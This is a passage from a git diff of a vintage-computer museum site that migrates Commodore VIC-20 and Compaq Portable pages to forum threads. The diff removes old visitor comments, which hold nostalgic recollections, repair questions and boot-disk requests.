introduced me to BASIC programming and computer technology in general. And it's pretty much because of this machine and all the good time I had with it, that I am now working in the IT business. Thank you Bob Yannes! ;) - - author: alessandro (italy) - date: Saturday 21st April 2007 - text: my very first computer , i was 14y old and it cost a fortune back in '84 but I still have it and in working condition .... well I had to replace one of the memory chip (tms-2114) and the modulator is not the original one .I've made one using an astek module. Few weeks ago I've found some game module in a flea market that make me enjoy the VIC20 again. - - author: Christian (Cumbria, UK) - date: Wednesday 4th April 2007 - text: A friend of mine came back from australia with a VIC 20. (I had a speccy 48k) enjoyable games - chariot race, snakebite and scramble!!!! he couldn't get rid of me!!!!!!!!!!!!!! - - author: James Cullimore (Missouri, US) - date: Sunday 1st April 2007 - text: The VIC-20 is really cool just because of the pure fact it is a relic and a late pioneer of todays computers, so for that I thank it. My name is james, I live in missouri, I am 15 yrs old and no novice when it comes to computers. I even do a bit of rendering and programming in my free time. I found a VIC-20 in an old abandoned house, with several 5¼ floppies, and a dot matrix printer. I also found the power supply, but I could not find the floppy drive, or the cord-thing that connects it to a tv. Does anyone know where I could find one? - - author: Chris (Ipswich UK) - date: Tuesday 31st October 2006 - text: |- - Along with everyone else I love my VIC. - - Problem though, it has died. I just get a black screen when I switch on and no evidence it's doing anything. Do any of you know what's wrong so I can ressurect it? - - Thanks!!! - - author: KRt. (Budapest Hungary) - date: Tuesday 3rd October 2006 - text: In 1983 My father bring it to me from austria. It was a miracle I wrote some program but his 3k of memory was enough for 2-3 mounth. I'l receive a 16k memory extension card. I think the world was mine. Time passes and my first died and no parts for repair :o( - - author: j4ck (nyus) - date: Friday 8th April 2005 - text: VIC is \*everyone's\* first computer :D I inherited mine from my sister, who bought it for some college programming class she was taking. After the class was over, she lost interest, and I gained it! - - author: Peter Korsbjerg (Denmark) - date: Thursday 24th March 2005 - text: VIC-20 was also my first computer. I got it for my 13th. birthday in august 81, and I loved it - actually all my friends in the hole neighbourhood love it. We spend hours typing in a program so we could play a little game. The first year, I had no tape drive, so each time my mother turned it off, we had to start all over typing. - - author: Dave Kellow (Halifax, Nova Scotia) - date: Friday 28th January 2005 - text: Just to say the Vic-20 was one of the first I ever used... It was a gem of a machine. My Grandad (Ed Kellow, CEO of Commodore Canada) brought it home one day and handed it to me to see what I'd do with it. Good times. My Grandfather has some awesome stories... - - author: Marco (the Netherlands) - date: Thursday 24th June 2004 - text: |- - VIC-20 was my first computer! Great device with color and sound. Made lots of stuff on it. Sadly blew it away by trying to hook it up to the phone myself ;-) (Was only 10y old then..)\ - Would love to find an old VIC-20 again.. - - author: Kevin Dent (Wiltshire, UK) - date: Tuesday 4th May 2004 - text: |- - Well what can I say about the Vic-20. Mine helped me through Computer Studies in the earily 80's, when most of my classmates were using the schools RM 380Z!!\ - Liked games on cartridge, mostly 'Radar Rat-Race' and 'Jelly Monsters' and also got a few games I wrote published in an UK computer Mag in 1983 (Grave Robber / Dogrun) - - I still got my faithful Vic and it's still working although now a bit 'Tanned'!! These days I use a (superb) Vic Emulator on my PC so now and again I can relive my early years (talk about en never growing up!!) - - Upgraded to a CBM 64 then the the Amiga 500 / 1200 before deserting Commodore in the Mid 90's to go the IBM compatible route - - Many Thanks Commodore in Producing some affordable friendly computers. - - author: Stephan Olsen (Norway) - date: Monday 5th April 2004 - text: |- - Hi\ - I just made a bid on a vic-20 on ebay, but then I remembered that the US have ntsc and Europe have pal.\ - Will the US version of vic-20 work on my tv? - - author: miles jackson (31) (essex) - date: Monday 8th March 2004 - text: Glad to see everyone still appreciates the Vic. I had to buy another 3 years ago cos Ifound out my mother took the other 1 down the tip 10 years ago. No comment but the one i have now has a square power inlet lead and orangey function keys instead of the round lead and grey fuction keys on the circuit board of this one it says its a 1981 rev. so I guess my mother threw out the new and i bought the old? - - author: A Hodson (England) - date: Friday 6th February 2004 - text: I bought my 1st vic20 off a friend. I need a tape deck for my C-64. I fixed another vic20 by using the top half of 1 & the bottom of another! - - author: Derek Bistricky (Kelowna BC Canada) - date: Monday 22nd December 2003 - text: Interesting, that after 20 years I found myself in the past year picking up a worn out (but working) Vic-20. The Vic was my first home computer and I learned computers and computer programming from it. To this day I can still develop quite complex programs (given the added k's) on this computer. It wasn't that hard to pick up a used Vic-20 but what I have been unable to find were the mags for it (such as, Compute, Compute Gazette, and Run)..... the search continues. Quite frankly I'll still be using the original Commodore machines for many years to come. - - author: Sarah Dal (UK) - date: Friday 14th November 2003 - text: My dad, a software programmer, was given one of these great little machines to celebrate the birth of his new daughter. Yes, that would be me - I am immensley proud of this computer that's the same age as me, and I remember playing on it when I was very small, before we moved up to a BBC-B. It's still in full working order, despite lacking a del key! - - author: reuben cornwall (uk cumbria) - date: Friday 26th September 2003 - text: the vic 20 was my first computer i learned to program on this very special computer its how i first started out i made quite a few games for this computer some better then actuall games that where sold via software houses i hope if i ever have the time to maybe put them up on my site so people can down load them any ways i still have my vic 20 along with a few other computers and i still to this day play my favourit games yes i still do and guess what thay are well thay are gridrunner and bewitched well done cbm for makeing one of the all time greatest computers along with the 64 and amiga the vic 20 will always be close to my heart - - author: Magic Knight (UK) - date: Monday 18th August 2003 - text: |- - First comp - still love it - hooray for Vice ! - - Llamasoft MATRIX was fantastic ! So many good versions of so many games.. check out the Veni Vidi Vic demo - http://www.mds.mdh.se/\~dal95acn/vic20.html - WOW - - author: Miles Jackson (UK) - date: Wednesday 4th June 2003 - text: Vic 20 is the best thing I have ever owned in my life and it still works. My Spectrum 128k+2 is also still kicking arse get an em for this and play these games; Chronos, Amourote, Cobra{yeah Stallone},all the Agent x series from Mastertronic. I loved Bubble Monsters on vic well pac man really but BIG. Ever played jetpac on the vic? Fantastic - - author: Malc (UK) - date: Tuesday 22nd April 2003 - text: My first computer! My two brothers each bought one before me. I only had mine a couple of months before upgrading to a Commodore 64 which was a massive improvement (Except in the Basic language!) - - author: Brian Bagnall (Canada) - date: Friday 4th April 2003 - text: Great ads, Olivier! Good to see Captain Kirk plugging the VIC-20. I wonder how much he got paid? Probably not as much as from his priceline.com commercials. - - author: Tom Widauer (Brisbane, Australia) - date: Wednesday 26th March 2003 - text: The VIC 20 was the very first computer I could call my own. After working on CBM 30XX and Apple \]\[ machines at school, I finally saved enough money to buy a VIC. It came with the datasette, a BASIC course, two games and manuals, all in a white Commodore carrybag :) I just loved my VIC and I was heartbroken when it died :( Well, 15 years later, I finally bought a replacement a few weks ago and now it all comes back... - - author: michael smith (isle of wight ,england) - date: Wednesday 22nd January 2003 - text: |- - just a short note to sayi love my vic-20.\ - i spent many hours programing it to flash all different colours and the writing to go all over the screen.\ - and to type in a program from a magazine to for ever, then to watch it say syntax error was a night mare.\ - but i still occasionly bring it down from the loft where it has rested now for a number of years.\ - and plugged it all in and yes it still works.\ - and i have all my tapes to go with it.\ - i wonder if they are worrth anything these days.\ - although i would never sell.\ - i hope there are still more vic-20 lovers out there who know what i mean by love them but hate them. - - author: Reverda (Spijkenisse, the Netherlands) - date: Monday 29th April 2002 - text: |- - The first computer I ever programmed.\ - Completed it with a tape recorder and a small matrix-printer. I spend hours to program it and it really was fun to do.\ - But ow what time it cost to load a game.\ - I still have it in my house somewhere... - - author: Jason Priebe (North Carolina) - date: Friday 8th March 2002 - text: Ahhhh, the Vic-20. Not the first computer I ever programmed, but the first I could call my own. What a fun box. I tell you, there was nothing like those old computers that booted right up into the BASIC interpreter. Made for nothing but programming. Plus, the cartridge interface was great for games. Spiders of Mars, Gorf, Amok, ... those were the days. I had the Super Expander, too, which added another 3KB of RAM and high-res graphics capabilities. If only I still had the tapes where I saved the programs I wrote. Those would be fun to look at again. I don't miss loading programs from cassettes (and the frequency of data corruption). But that computer was just pure fun. - - author: Carlos López (Murcia (Spain)) - date: Tuesday 12th February 2002 - text: My first computer after I saw a friend's Sinclair ZX-81. It still works except the RF modulator and minor keyboard problems. I have it hooked to one of my PCs via composite video and looks weird. The problem is keep the tapes well after all these years. - - author: Ron Enderland (Arkansas) - date: Saturday 26th January 2002 - text: You never forget your first. The Vic-20 was the first computer I laid my hands on in 1982. It was in a Montgomery-Wards store in Amarillo, Texas, where I worked. The demo model featured a sheet that showed how you could write a quick BASIC routine that flashed a message across the screen. I altered it a bit so that it flashed a rather uncomplimentary message about my boss. I don't think they ever figured out who did it . . . software: - /software/adventure - /software/alien-a-k-a-super-alien diff --git a/content/museum/compaq-portable-386.md b/content/museum/compaq-portable-386.md index 5cdda93d..3e98a45f 100644 --- a/content/museum/compaq-portable-386.md +++ b/content/museum/compaq-portable-386.md @@ -69,6 +69,7 @@ params: - adverts - links - docs + forum_thread: 1038 photos: - title: LARGE VIEW subtitle: '' @@ -114,66 +115,6 @@ params:  compiled/archived by Compaq\  type of document : PDF\  source : [Compaq Support Center](http://h20000.www2.hp.com/bizsupport/TechSupport/DocumentIndex.jsp?lang=fr&cc=fr&taskId=135&prodClassId=-1&contentType=SupportManual&docIndexId=179821&prodTypeId=321957&prodSeriesId=96333) - comments: - - author: Gerhard Polster (Vienna, Austria) - date: Sunday 21st October 2012 - text: |- - If you need the BIOS/Boot-disc for this Computer, search Google for sp0308.zip (includes sp0308.exe, 3,5" 720k disc image) or sp0316.zip (includes sp0316.exe, 5,25" 360k disc image). - - Works for:\ - COMPAQ Portable, COMPAQ DESKPRO, COMPAQ DESKPRO 286,\ - COMPAQ PORTABLE 286, COMPAQ PORTABLE II, COMPAQ PORTABLE III, COMPAQ PORTABLE 386, COMPAQ DESKPRO 386, COMPAQ DESKPRO 386/20, COMPAQ DESKPRO 386/25, COMPAQ SLT/286, COMPAQ LTE, COMPAQ LTE/286,\ - COMPAQ DESKPRO 286e, COMPAQ DESKPRO 286n - - author: David (USA) - date: Saturday 1st September 2012 - text: I am looking for a bootable 5.25” diagnostic disk, also a disk with the bootable 5.25” MS – DOS 3.3 this is for a Compaq 386 portable 2670 I am doing a school project and don’t have a lot to spend but I am willing to pay reasonable compensation. - - author: Christopher Havel (US - North Carolina) - date: Tuesday 31st July 2012 - text: |- - Kerry Dunn, if you see this, please send me an email. laserhawk64-NOSPAM $at$ gmail $dot$ com $ take out the -NOSPAM. - - I''m interested in your compaq, but I don''t have much money. - - Thanks! - - author: Ev (BC Canada) - date: Thursday 10th May 2012 - text: |- - Looking for a boot disc for the Compac 386.\ - It was working fine but is now asking for a boot disc.\ - Any suggestions?\ - Thanks\ - Ev - - author: Kerry Dunn (US - Pennsylvania ) - date: Friday 6th January 2012 - text: If anyone is interested in one still in working order, I have one that boots and has the keyboard. unsure of the value but one in wroking order was going for $500 on ebay. Obviosuly with no use for it I would not ask that much. Send me an offer. - - author: Kerry Dunn (US - Pennsylvania ) - date: Friday 6th January 2012 - text: If anyone is interested in one still in working order, I have one that boots and has the keyboard. unsure of the value but one in wroking order was going for $500 on ebay. Obviosuly with no use for it I would not ask that much. Send me an offer. - - author: Bobr (Czech) - date: Saturday 25th June 2011 - text: Hi, please there is no info on HP. Can I download service manual etc from somewhere ? I have 386 machine on 20 MHz Compaq Portable..... - - author: MURTWITNESSONE (USA) - date: Wednesday 26th January 2011 - text: |- - I have several of these and they still work. I used to run a BBS of of them. I alternated between the Compaq units and my Commodores. - - MURT - - author: AL - date: Sunday 28th November 2010 - text: I picked up on of these last week and just finished resurrecting it. Works great! Thanks for the diagnostic disks! - - author: John Mahoney (Minneapolis) - date: Wednesday 3rd November 2010 - text: Thanks for posting the diagnostic disk! I have one of these machines, and it is a very unique part of my collection. - - author: Jonathan Roberts (USA) - date: Monday 20th August 2007 - text: I ran AutoCAD on one of these in the late '80s/early '90s as a jobbing engineering contractor. The spec I ran included 2MB RAM, 40MB disk, Maths Co-processor, extansion box with graphics card and an additional 17" monitor. It ran faultlessly apart from the C-pro coming loose in its socket once. - - author: Good Ol' Dave (USA) - date: Friday 2nd June 2006 - text: Back in the 80's I was a repair technician for MicroAge, and we sold and serviced this PC. I recall that although the service panel was in the rear, the screws holding the power supply was attached to the computer chassis at the front, behind the integral monitor where you couldn't get at them. To remove the power supply a clueless Compaq technician rudely notified us that we needed to buy a specialized (and expensive) tool to remove the integral monitor first before we could remove the power supply. We figured out that there was enough space between the computer chassis and the rear of the monitor to insert a pair of pliers, with which we could slowly undo the seating screws. This was probably the last time in history that service technicians knew more about how to service computers than the manufacturers did. - - author: Richard Hogue (USA) - date: Monday 30th May 2005 - text: I carried one of these for years on end. The LCD screen often failed but an external color CRT could be connected. The first one I had was a 286 8Mhz or 16Mhz and later a 386DX at 40Mhz. I used it to connect through a the serial port to Industrial Programmable Controllers called PLC's. The system supported MSDOS 6.22 and Win 3.11 for Workgroups. I even may still have one somewhere on my stored in my brother's barn. The neat thing was you could install many standard AT motherboards as I was responsible for repairing other engineers systems. I think in the end I hand one modified using a 486 100Mhz system board. They all had a actual 5 1/4 drive bay that could support support many types of IDE hard drives of the time. Also there were two bays so I could have a 5 1/4 and 3 1/2 inch floppy drives. The power supply was solid and as long as the box was blown out once a year, it would hold up very well It was actually very realiable and ruged. Of course in time laptops and notebooks would - evolve and become much more practical. I have not yet seen a laptop that could take the physical abuse these units took year after year. related: - /museum/compaq-portable - /museum/compaq-portable-ii diff --git a/content/museum/compaq-portable-ii.md b/content/museum/compaq-portable-ii.md index 6c6c645a..c578e74d 100644 --- a/content/museum/compaq-portable-ii.md +++ b/content/museum/compaq-portable-ii.md @@ -68,6 +68,7 @@ params: - photos - links - docs + forum_thread: 851 photos: - title: LARGE VIEW subtitle: '' @@ -132,93 +133,6 @@ params:  type of document : PDF\  source : [Compaq Support Center](http://h20000.www2.hp.com/bizsupport/TechSupport/Home.jsp) - comments: - - author: Oliver Molini (USA) - date: Monday 26th August 2019 - text: I was having trouble booting MS-DOS 6.20 from a 360k floppy, as it would just reset on bootup right after displaying the "Staring MS-DOS" message. I think the problem is caused by the dual-mode CGA graphics card on the system. As soon as I disabled that feature in Compaq Diagnostics, and booted in pure CGA mode, it would boot MS-DOS just fine and all apps worked as expected. - - author: MDOC7 (Virginia, U.S.A.) - date: Sunday 17th May 2015 - text: |- - I just bought a Compaq Portable II with 286 CPU, which has a fixed hard drive (20MB), which is temperamental because it''s not being recognized at bootup. In about 1990, I had borrowed a Compaq Portable (from work) with two 5.25" floppy drives but no fixed hard drive. I used this to write assembly programs. Now (5/17/2015), I can used this Compaq Portable II to read and run files from my old diskettes, which contains some of my work. I need a new hard disk for the Compaq Portable II. - - It will run on MS-DOS versions 6.20, IBM-DOS 3.30, Compaq-DOS 3.31, but not MS-DOS 5.0, 3.2, or 3.30. It''s a little strange that certain flavors of MS-DOS will not work, yet IBM and Compaq flavors do. - - I have the IBM Diagnostics for IBM Personal Computer AT diskette (version 2.03). And it''s readable on the Compaq Portable II. - - I also need the MS-DOS 6.2 disks to install on my new hard disk. - - author: Lucio Libertini - date: Thursday 18th December 2014 - text: |- - I''ve been trying to use the "send more information" form to correct the info I supplied ages ago (and that I forgot about entirely until I came across this page again and read my name), but it doesn''t seem to work, so I''m adding this post instead. - - Ignore what I wrote about the versions of MS-DOS supported by the computer. I think I messed up while making the disk images, or possibly used bad disks$ the computer does indeed boot and run MS-DOS 6.22. Mine has it currently installed on the hard drive. Takes up quite some HD space, but it runs speedily. It''s possible to use drivespace compression, but when doing so everything involving disk access slows down to a crawl (the 286-8 is not a fast CPU), so I just dealt with it. - - I managed to find a compatible 40MB Quantum hard disk (a ProDrive, I think - I don''t have it around now so I can''t check), but it''s a voice coil unit, and I like the stock stepper-motor drive''s delicious retro nature and sounds, so I kept that in. - - author: Larry Collins (USA - Texas) - date: Saturday 3rd August 2013 - text: I have a Compaq II in excellent condition. I bought it from a 90+ year old man who had it sitting in a closet. (He was a techno hoarder). But it won''t boot. There was no user manual and so I can''t decipher the flashing kepboard lights, which I believe used to indicate the problem. I THINK the problem is the boot disc. The 5.25 floppy that came with it is IBM DOS 3.30. The disc appears to be in godo condition, but I don''t think this version of DOS works with a Compaq II. Does anyone know? If not, any idea where I can get a 5.25" floppy with the RIGHT DOS version on it so I can boot the machine. I think 3.1 was the latest version that worked on this machine. Correct? ANY help is GREATLY appreciated! - - author: adam weisbrod - date: Monday 27th September 2010 - text: |- - you remove the shell by sliding the side slides more open then normaly then remove 2 black screws\ - 2 on each sides then keybaord has more screws DONOT BREAK IT OFF NOT A GOOD IDEA SINCE THIS HOLDS THE CASE TOGETHER AND THE HANDLE HOLDS ALL THE COMPUTERS WEIGHT USING ONLY 4 screws if you break the keybaord screws LIKE i Did now only two screws hold the keyboard and 4 hold the case and almost cracked the case screws on the slide door sides carefull not to overtightin the screws on case as not to crack old plastic to mutch..\ - ALSO there is a lot of torks screws not security screws thank god but they are none the less tork screws also the SCREEN needs 24V ac and 12V ac I think its ac anyway it seems resonable it would take 24V ac and 12v AC since screens are mostly ac!! but Ill remeasure to see what exactly it takes on the 3 peg 3 pin connector the rest is CGA but shows up B/w on green screen\ - HMM Arcade pacman on green screen cool\ - R G B synk and ground hmm 5 pins 6 signals cool that explanes the graphics card to the screen pin out all i need now is to get a nother thing w cga or use arcade signals and i can run screen using cga HMM I could remove drives and pcb and run a arcade pcb off the 12V DC and the 5vDC or just the 5VDC voltages and have a mini arcade machine protable cool!. this is only cause the screen is 15 KHz Arcade cga type REd blue green synk and ground signals.. (-) synk!.\ - anyway thats how you get the case apart the rest is using a torks bit and removing in order a lot of screws .. be care full not to break the dut (daughter board) off the tie wraps on the power mini pcb.\ - the reason the power supply is so complicated is cause it has screen 12V ac and 24V AC power on it..\ - the 12v going into the screen might be DC ill have to check.. if you live in the UK I siggest getting a USA computer back up 900 power back up box and running a 110-125V in to it then hook youre computers to these outlets but normal tube computer crt monitors plug into normal outlets not using the battery back up cause to many screens can kill battery premature witch could blow fuse on line pole outside! carefull do not over load a UPS .. - - author: Adam Weisbrod (USA St Lois Park Mn ) - date: Monday 27th September 2010 - text: |- - I have one of these and you can have two IDE WD drives and can boot the 360k drive from dos on a other machine take floppy drive with the harddrive and only connect floppy to big machine then format a blank 5¼ floppy disk in the original 360K disk drive as follows\ - from win98 win95 or win31 any dos from w98 7 to 6 to 5 format a:/f:360\ - then sys c: a:\ - then boot big machine from original normal xp drive leaving 360K floppy drive hooked up remove floppy so you can boot into xp ! then replace floppy you formated as 360K then copy cetup.exe file needed to get into c-mos then choose drive 0 type 41 then choose drive 1 type 41 and then ifyou have two ide cards choose drive 2 type 41 always pick type 41 unless you have the minisribe in witch you should just hook to usb to big machine cable and copy to WD drive 2gig to 20 gig work as type 41 then save push f3 and save then reboot remove 360K drive from compaq P II you booted to csetup from and then it will say missing operating system error as follows (ERROR LOADING OPERATING SYSTEM)\ - then replace floppy you formated as 360K w system transfered dos on it and c setup file and boot to dos on a:\ - then save type 1 2 drives or just drive 1 as type 41 for a 2gig wd up to 20 gig wd drive then save push f3\ - then reboot to a: then format C:/q/s\ - then copy a:$\*.\* C:$\ - donot overwrite command.com\ - then boot to c:\ - once it boots to c:\ - make a autoexec.bat file then goto remove drive and put on xp machine using usb to ide or put as d drive in xp and copy away I copied ADV.exe and qwbasic and basica and copied a lot of old basic games i used to play a lot like eliza and adventure and bowling I want donkey to see how it was typed in in basic but cant find it and my machine only has 640K memmory lame huh but I will want to up it to 2meg if possible and if the chips are 256k i can change them to 512K and get 4 meg! but thats a pipe dream to upgrade the memmory in the proprietary compaq but if you need the c-mos file and a formated boot disk i can make on but you have to pay shippng and handling labor and Ill ship you one using media mail anyway my email address is a2wam@rock.com if you need a 360k formated 5¼ floppy w boot and csetup file. then you can choose type 41 and put a 2gig or 8gig or 4 gig or 6 gig or 10 gig or 20 gig old western digital drive in and have 251M free to remove and put back into xp as d drive or win7 vista and copy files from here to play and relive the 80''s again.\ - I also have adv.exe and eliza basic I have basic but cant offer it nor can I offer boot disk here you have to email me and i can see what i can do but here I can not offer any Compaq Files or MS files but on email I could let you borrow my files and if i never get them back then my loss but I would have to charge return mail or you can send self stamped evelope to return from 55416 ST LOUIS PARK MN if you really need a boot disk I can make one for you . I could even use free dos but I would think Compaq would not care if i redistrubited csetup.exe since the machine is obsolete and I found NO sign of ot on HP.com since 80''s Compaq is defunct HP no longer supports dos machines SO I WOULD assume probably wrong but who cares I assume csetup.exe is public domain if its not I can borow you one copy of from mine but cant sell it and am not selling anything here just charging shipping and handling and labor for making a disk formated as a 360K disk witch is not (c)ed to make a disk is formated as a 360K thats a floppy drive type and Compaq is not the only company to use 360K floppy drives and you can use a non 360K 5¼ drive unit as a 360K but not a not a 360K wont format a 1.2M disk cause its only 360K but you can format a 360K floppy format using a 1.2M drive but you have to tell c-mos its a 360K drive then it works as a 360K drive and format a: /F:360k makes it format as 360k thats what the c-mos expects when it boots from floppy . you could boot to c as WD caviar drive w slave jumper and use drive c as miniscribe but that would be easyer to just boot to drive c as wd drive and figure out how to switch miniscribe to d or just copy miniscribe to xp and copy it to wd drive and start over w new fresh format on new drive cause the minis scribe drives are susseptable to shock and things getting stuck in stepper motor its amazing they even worked.. - - author: Bob Lee (USA) - date: Tuesday 13rd May 2008 - text: |- - I learned to program in Quick Basic on a hand-me-down Compaq Portable 286 when I was a kid. At one point, I even had Windows 3.0 running on it using EGA graphics. - - At one point the machine stopped booting. I couldn't figure out what went wrong and was a little scared I broke it. After about two weeks of IBS and not being able to program, I finally confessed to my dad. He took one look at it, banged his fist on the top, and it booted right up. - - Apparently, he had some experience with them from work and knew the hard drive has a tendency to stick. - - author: Docel (Earth) - date: Friday 12th October 2007 - text: |- - Hello folks!\ - I have one of these beauties......and it still works!!!\ - Pity, the 10Mb HDD died ( and the 20 Mb too) but the CPU and the monitor works ( with CGA graphics card)). Great machine, it was!! - - author: John Teller (Earth) - date: Thursday 19th July 2007 - text: |- - I built a very nice piece of automated test equipment into a Portable II. It had two full size slots and one half size slot. I designed and built three boards to test three experiment interfaces on board a satellite under development at the company I worked for. When a technician needed to test or verify something, all he had to do was pull the computer off the shelf, plug it into the satellite test port and boot it up. Once test code was loaded onto the satellite, it would command the old Compaq to start sending data over the three experiment interfaces at various rates. Regression testing was a snap. - - I always admired the way it had been put together - I particularly liked the yellow anodization used on the inner aluminum chassis. - - author: Glen Millard (USA) - date: Wednesday 27th September 2006 - text: Hey - I remember my first job in the computer field. In 1989 I got out of the military and went to work for a little hole-in-the-wall computer shop in south eastern Ontario. I remember the day that one of the customers brought in the single FDD version of this product (COMPAQ Portable II - we called it the Luggable II). He wanted us to put a 20 MB Seagate HDD into it. We did it , but it was a little painful. I guess we were old school hackers. Ah - the fun of it all! - - author: Len (Netherlands) - date: Thursday 25th August 2005 - text: Can anybody tell me how I can remove the shell? - - author: David (MO) - date: Saturday 5th February 2005 - text: Jish you could probably find that on ebay. - - author: blondy (netherlands) - date: Thursday 24th June 2004 - text: you have to put in a bootable dosfloppy. - - author: Jish (new jersey) - date: Monday 26th May 2003 - text: Hey i just trash picked the protable 2 and it didnt have an os on it, well it asked to put the bios disk in, and i dotn have that. Does anybody know where i can get one? related: - /museum/compaq-portable - /museum/compaq-portable-386 diff --git a/content/museum/compaq-portable-iii.md b/content/museum/compaq-portable-iii.md index ec95391a..50d07bb5 100644 --- a/content/museum/compaq-portable-iii.md +++ b/content/museum/compaq-portable-iii.md @@ -71,6 +71,7 @@ params: - adverts - hardware - links + forum_thread: 1037 photos: - title: 'PORTABLE III #1' subtitle: '' @@ -163,70 +164,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Chad (USA) - date: Tuesday 8th June 2021 - text: I have this computer in working order except missing operating system, anyone interested? - - author: OLEK CHRISTOPHE (France) - date: Monday 14th September 2020 - text: |- - This was my first student computer and \* was fond of it!\ - Who would be interested in it? - - author: Michael Harpe - date: Tuesday 24th April 2018 - text: That was also the machine that Network General used to build the first Ethernet sniffer. I worked with one of those back in the day. - - author: A Random American Person - date: Wednesday 18th October 2017 - text: Ah man I really want one of these. - - author: jim (america) - date: Friday 11th August 2017 - text: I have a working Compag Portable 3. is anyone looking to buy one ? - - author: Pete (UK) - date: Thursday 5th January 2012 - text: I have one of these, an early 286 with a 287 Co-Processor and it still works. - - author: BZ - date: Wednesday 13rd April 2011 - text: We had those for field test collecting measurementdata. The units we had started to smell burnt and sent out some puffs of smoke so do not leave it unattended...... - - author: Simon Lyne (UK) - date: Saturday 26th February 2011 - text: boubik, the computer is probably having trouble finding the OS. You will probably find the HDD has died as it is over 20 years old. Or the HDD has some how become corrupt over the years. But I can only estimate from what you have stated. - - author: Josh Robertson - date: Tuesday 10th August 2010 - text: I''d love one of these! If I had a choice between a new iMac and one of these I''d chose the Compaq! - - author: boubik (Czech Republic) - date: Thursday 23rd February 2006 - text: Hi, i bought one few weeks ago - big luck, but it won't boot. After power-on it counts the memory and then stops - cursor is blinking and nothing more, could someone help? - - author: j4ck (us) - date: Monday 28th March 2005 - text: huh? the 286 isn't powerful enough to emulate an atari - - author: ashley dunham (grand junction colorado) - date: Friday 4th March 2005 - text: can anyone help me find an atari emulator for the intel 286? i cant seam to find one! thanks! - - author: Ashley (GJ, CO) - date: Friday 4th March 2005 - text: Jeff, download dos 3.1 off microsoft.com or another site and put it on a floppy, it shuld work - - author: Ashley (Grand Junction Colorado) - date: Friday 4th March 2005 - text: im geting one of these computers off ebay hopefully, i think its just a fun thing to learn dos with and play old games on, im thinkin about finding an atari emulator that will run on it and puting atari games on it, but i guess i can only hope for the best! wish me luck - - author: Jesko (Germany) - date: Sunday 30th January 2005 - text: |- - "See the "Read More" page of the Compaq Portable 386 - Same Setup diskette as the Portable III" - - Right, but this is not the needed "3.5 Inch Diskette" Version... - - Here I found it:\ - http://h18000.www1.hp.com/support/files/obsolete_diagnostics.html\ - (Oh- and you need a DD Disk...) - - author: Sylvain Bizoirre (old-computers) - date: Monday 10th January 2005 - text: See the "Read More" page of the Compaq Portable 386 - Same Setup diskette as the Portable III - - author: Jeff McCright (Kansas City, Missouri, USA) - date: Monday 10th January 2005 - text: Excellent system, although the system battery died on mine and I need the setup disk. Anyone know where I can find a copy? - - author: Jakub Offierski (Delft, Holland) - date: Wednesday 22nd December 2004 - text: After reading the review of this machine, I had to have it. And now I do. Very happy with it, though shame I could not obtain an expansion bay. Anyone know where to get these? related: - /museum/compaq-portable - /museum/compaq-portable-386 diff --git a/content/museum/compaq-portable.md b/content/museum/compaq-portable.md index 7899a99e..8086c293 100644 --- a/content/museum/compaq-portable.md +++ b/content/museum/compaq-portable.md @@ -59,6 +59,7 @@ params: - adverts - links - docs + forum_thread: 541 photos: - title: COMPAQ FOUNDERS subtitle: '' @@ -128,88 +129,6 @@ params:  type of document : PDF\  source : www.old-computers.com - comments: - - author: myrko - date: Saturday 19th February 2022 - text: I believe the comment about CGA/MDA is incorrect. The portable does indeed have MDA (9x14 text mode). The difference is obvious when you are in MDA mode, there are more than 8 pixels per character. The IBM-5155 however did not have MDA mode. - - author: Christopher (United States) - date: Saturday 27th March 2021 - text: 'The keyboard had KeyTronic contact “foam and foilâ€� mylar pads: Apple Lisa 1 and 2, AVL Eagle K69, Compaq Portable, Compaq Deskpro 286 AT keyboard, Compaq Enhanced Keyboard, Curvus Concept, Datapoint, DEC, Franklin Ace 1000/1100/1200, GenRad, IBM PCjr (some), Kaypro II, Key Tronic Model F clone series, Macintosh XL, Miniterm 1203, Northstar Advantage, Sirius 1, Sol-20, Sol-220, SUN Type 4, Tandberg Data TDV 2115C, Tandy TRS-80, Tektronix 4107, Unisys F420800, Victor 9000, Visual Technology 1050, and more. Also found in old BTC keyboards. People tend to either hate this style of keyboard or love them, but the foam does disintegrate. It''''s not as nice and not nearly as rugged as the contemporary IBM Model M''''s or F''''s. "Foam and foil" both respond to light keystrokes, and give cushion and a tiny bit more travel for hard keystrokes. Which is a big part of the appeal. Sorry this is so late, John Hunter! Texelec is the only place I know with replacement pads.' - - author: Jason (Australia) - date: Tuesday 18th September 2018 - text: Hi does anyone have a schematic for the compaq portable III power supply - - author: John Hunter (Virginia, USA) - date: Saturday 11th August 2018 - text: My first computer was a Compaq "luggable." What I miss most about it is the keyboard, more specifically, the nature of the stroke. It is the only keyboard on which I could type at high speed, without fatigue and with minimal stroke errors. Now that I have arthritis in my fingers, I''d like to find a modern keyboard with the same type of "feel." Can anyone suggest something? It would have to be Apple OSx compatible. Thanks. - - author: John Evans (United States) - date: Tuesday 7th November 2017 - text: |- - Q: Does anyone have a pointer to service manuals/data for the original Compaq Portable model number 101709 ? - - Thanks,\ - John - - author: chud - date: Friday 27th October 2017 - text: http://minuszerodegrees.net/manuals/Compaq$20Portable_Plus_286$20-$20Maintenance$20and$20Service$20Guide.pdf - - author: swarm (Czech Republic) - date: Tuesday 15th January 2013 - text: I liked the ability of Compaq Portable video hardware to switch in something like an MDA mode for displaying text. It was limited only to text, but the result was crisp like with MDA - same character resolution but if I remember there was no support for things like underlined characters. Anyway it was primarily a CGA card, so you couldn''t use MDA CRTs. RGB (CGA) output was disabled in this mode. - - author: Mickie Weiss (IL, USA) - date: Thursday 21st June 2012 - text: |- - In the 90''s I worked as an editorial assistant for a writer/teacher. I hadn''t worked on a computer before, but loved Word Perfect and taught myself to build databases...\ - My boss got a new computer so gave me his old one. I had a problem once so called Compaq. The customer service rep kept asking me the model number on the machine. I told him that I had looked absolutely everywhere and that there was NO model number. He finally got fed up and sent me to tech support. The guy in tech support, after hearing a description, very fondly stated with an obvious smile in his voice, "Oh, you have a Luggable!" - - No, not the prettiest thing, but it did get me through grad school. I would have kept using it, but I am NOT a computer ''geek" and could not get beyond some growing incompatabilities. I do still have the machine though! - - author: David (Georgia, USA) - date: Thursday 3rd November 2011 - text: |- - I worked for the State of Georgia Department of Public Safety in the 90s and we used these to issue licenses on until 1996!\ - These things were tanks. - - author: Joyce Neu (United States) - date: Friday 26th November 2010 - text: |- - I bought the Compaq "luggable" in early 1984 to write my dissertation on. Was probably among the first people at USC to submit a 